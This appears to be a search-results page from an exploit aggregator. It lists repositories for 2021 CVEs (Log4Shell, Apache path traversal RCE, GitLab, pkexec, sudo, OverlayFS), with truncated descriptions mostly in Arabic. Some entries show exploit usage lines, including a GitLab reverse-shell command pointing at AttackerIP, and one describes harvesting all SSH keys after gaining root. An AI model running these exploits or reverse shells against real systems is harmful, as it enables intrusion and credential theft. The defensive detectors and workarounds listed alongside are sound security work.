88633 matches found
log4j-detector
लॉग4जे-डिटेक्टर स्कैनर जो कमजोर Log4J संस्करणों का पता लगाता है, ताकि टीमों को CVE-2021-44228 गंभीर, CVE-2021-45046, CVE-2021-45105, और CVE-2021-44832 के प्रति अपने जोखिम का आकलन करने में मदद मिल सके। यह पूर्ण फ़ाइल-सिस्टम, जिसमें सभी स्थापित एप्लिकेशन शामिल हैं, की सावधानीपूर्वक जांच करके Log4J...
CVE-2021-22555-esc-priv
لا يحتوي هذا المستودع على ملف README...
CVE-2021-41773
CVE-2021-41773 مشروع poc&exp بلغة Go. إخلاء مسؤولية: هذا المشروع مستمد من ملاحظات الدراسة اليومية للمؤلف. يرجى عدم استخدام التقنيات والأدوات ذات الصلة لإجراء اختبارات غير قانونية، ولا يتحمل المؤلف أي عواقب سلبية تنشأ عن ذلك. الاستخدام: root@kitploit: ./main -u 单个url ./main -u -c 单个url执行单个命令 ./mai...
CVE-2021-45428-Defacer
ابدأ بأمر بسيط: python3 exploit.py...
Apache-HTTP-Server-Vulnerabilities-CVE-2021-41773-and-CVE-2021-42013
الاستطلاع والاستغلال: ثغرات خادم Apache HTTP - CVE-2021-41773 و CVE-2021-42013 في هذا المشروع، قمت بتوثيق عملية اختبار اختراق تفصيلية تستهدف ثغرات خادم Apache HTTP، وتحديدًا CVE-2021-41773 و CVE-2021-42013، والتي تنطوي على اجتياز المسار Path Traversal وتنفيذ الأوامر عن بُعد RCE. شمل التقييم ما يل...
GitLab-CVE-2021-22205-scanner
GitLab-CVE-2021-22205-scanner الاستخدام root@kitploit: $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort الإسناد https://hackerone.com/reports/1154542 مقطع الكود المشار إليه من هنا: https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py إخلاء...
Apache-CVE-2021-42013-RCE-Exploit
🚀 نظرة عامة تستهدف هذه الأداة الاستغلالية ثغرات اجتياز المسار Path Traversal وتنفيذ الأكواد عن بُعد RCE في Apache HTTP Server بالإصدارين 2.4.49 و2.4.50. تستخدم الأداة واجهة curl الخلفية لتجاوز مشكلات ترميز عناوين URL التي تؤثر على محاولات الاستغلال الأخرى القائمة على بايثون، مما يوفر استغلالًا...
OverlayFS-CVE-2021-3493
لا يحتوي هذا المستودع على ملف README...
log4j-lookups-vulnerability
log4j-lookups-vulnerability المشروع مبني على spring-boot، والكود يكشف كيف تعمل ثغرة Log4j2 CVE-2021-44228. الحل لثغرة CVE-2021-44228 موجود على الرابط التالي https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot...
log4j-test
مثال بسيط يوضح CVE-2021-44228 أثناء العمل الشرح لإعادة إنتاج هذه المشكلة، أقوم بإزالة التبعية غير المباشرة للتسجيل من SpringBoot. بدلاً من ذلك، أقوم بإضافة spring-boot-starter-log4j2 spring-boot-starter-log4j2 يجلب log4j-core الذي يحتوي على ثغرة تنفيذ التعليمات البرمجية عن بُعد RCE. تشغيل API إما...
log4j-CVE-2021-44228-workaround
log4j-CVE-2021-44228-workaround أ. وصف الحل يوفر هذا المشروع حلًا مؤقتًا عام الاستخدام لثغرة log4j CVE-2021-44228، ويمكن استخدامه في حال لم يتوفر لديك بديل على المدى القصير لإعادة بناء مشروعك أو لتصحيح ملفات log4j-core jars. الفكرة وراء ذلك بسيطة للغاية: نقوم بإجبار مُحمِّل الفئات class loader عل...
PE_CVE-CVE-2021-3156
PECVE-CVE-2021-3156 استغلال لنظام Ubuntu 20.04 باستخدام CVE-2021-3156، معزّز بنصوص برمجية بسيطة وآلية لمرحلة ما بعد الاستغلال إلى جانب صلاحيات الجذر root shell، يمكنك الحصول على: ملف .txt يحتوي على جميع مفاتيح SSH من نوع idrsa المُعدّة على الخادم. انظر السكربت: getallsshkeys.sh ملف تنفيذي باسم...
CVE-2021-44142-vulnerable-lab
CVE-2021-44142-vulnerable-lab...
CVE-2021-28165
لا يحتوي هذا المستودع على ملف README...
CheckHKRCE
CheckHKRCE CVE-2021-36260 الكود المصدري مبني على: https://github.com/mcw0/PoC/blob/master/CVE-2021-36260.py التثبيت Python 3.8 + pip install requests نظام تشغيل Windows 10، لينكس أوبونتو الاستخدام python3 CheckHKRCE.py --rhost 192.168.1.11 --rport 80 --check CheckHKRCE.exe --rhost 192.168.1.11...
cve-2021-4034
cve-2021-4034 PoC لـ cve-2021-4034 بناءً على PoC من قبل https://haxx.in: https://haxx.in/files/blasty-vs-pkexec.c. ربما هو https://github.com/blasty؟! لا أعرف. بمساعدة صغيرة من https://github.com/daimoniac كيف تستخدم؟ ترجمة cve-2021-4034.c root@kitploit: gcc -Wall cve-2021-4034.c -o...
CVE-2021-3156
لا يحتوي هذا المستودع على ملف README...
DeepRoot
إطار الاستغلال الشامل CVE-2021-3493 $\colorFF4D2E \textbf\textsfDeepRoot$ إطار تصعيد الصلاحيات عبر قدرات OverlayFS - الإصدار الاحترافي للفريق الأحمر نظرة عامة إطار DeepRoot هو استغلال شامل لتصعيد الصلاحيات يستهدف CVE-2021-3493 تصعيد صلاحيات OverlayFS، مع ميزات متقدمة للفريق الأحمر تتضمن آليات...